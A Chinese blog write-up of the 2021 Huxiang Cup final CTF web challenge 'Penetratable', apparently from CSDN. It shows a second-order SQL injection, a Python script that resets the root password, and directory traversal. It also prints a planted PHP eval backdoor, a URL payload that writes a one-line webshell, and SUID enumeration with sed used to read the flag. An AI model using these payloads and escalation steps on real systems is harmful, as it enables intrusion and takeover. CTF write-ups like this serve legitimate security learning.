【湖湘杯 2021 final】Penetratable

记录一下这道题,全新的思路

尝试二次注入

注册admin’#,修改密码,不成功

换一个闭合方式

admin"# 修改密码成功

修改密码为1234

https://i-blog.csdnimg.cn/blog_migrate/b98f7f1dd8ec6ef622994a059b2dfc3d.png

抓包的过程中,发现了传的参数

name是被base64编码过

pass是被md5加密过

say也是被base64编码

登录admin账户,可以看见用户名

在首页看见root`s say

说明有root用户

尝试二次注入修改root用户密码

被爆没有权限

https://i-blog.csdnimg.cn/blog_migrate/76edfa62dfde7a50bfe432c2f4380da5.png

说明只有admin是有权限修改密码的

在抓包过程中看见了修改密码的发包过程,在js代码里也可以看见

admin修改密码

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}

直接登录普通修改传参就行了,不用登录admin

我看其他wp他们都用的paython脚本

import base64
from hashlib import md5
import requests
url1="http://1.14.71.254:28585/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'111').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://1.14.71.254:28585/?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
                              "newPass":pass2,
                              "oldPass":password,
                              "saying":"TIz"})
print(res2.text)

其实是不用的

而且admin修改密码是可以直接修改的,不管旧密码是否正确

https://i-blog.csdnimg.cn/blog_migrate/4d765b65f8b4752bae367c2a59bd28fe.png

修改root密码为12345

登录后发现可以下载文件

继续抓包

存在目录遍历

https://i-blog.csdnimg.cn/blog_migrate/c0226e6480dfe613a7e2d95ac502e81c.png

这样就可以看我们之前看不到的文件的代码

看了一些文件,在phpinfo.php找到了关键代码

https://i-blog.csdnimg.cn/blog_migrate/992b2392eed0b5a2b216b0149c561223.png

<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);} 
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

直接cmd5得到值

1q2w3e

然后就是写马

如果直接连接http://1.14.71.254:28011/phpinfo.php?pass_31d5df001717=1q2w3e

密码cc

发现连接不了,要在写个文件,或者这样

http://1.14.71.254:28011/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);

密码:1

才能连上

在根目录发现flag

但是没有权限

https://i-blog.csdnimg.cn/blog_migrate/a6e96a5c5f5470f03a681875c90f7ba0.png

suid提权

find / -user root -perm -4000 -print 2>/dev/null#由 root 用户拥有且具有 SUID 权限的文件
或者
find / -perm -u=s -type f 2>/dev/null#由 查找所有用户拥有的 SUID 文件,并且只关注普通文件

看到sed有suid权限,用sed读文件

https://i-blog.csdnimg.cn/blog_migrate/9712582d63ac5443a6845f6384502b17.png

sed -n '1p' flag # 输出文件第一行的内容

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值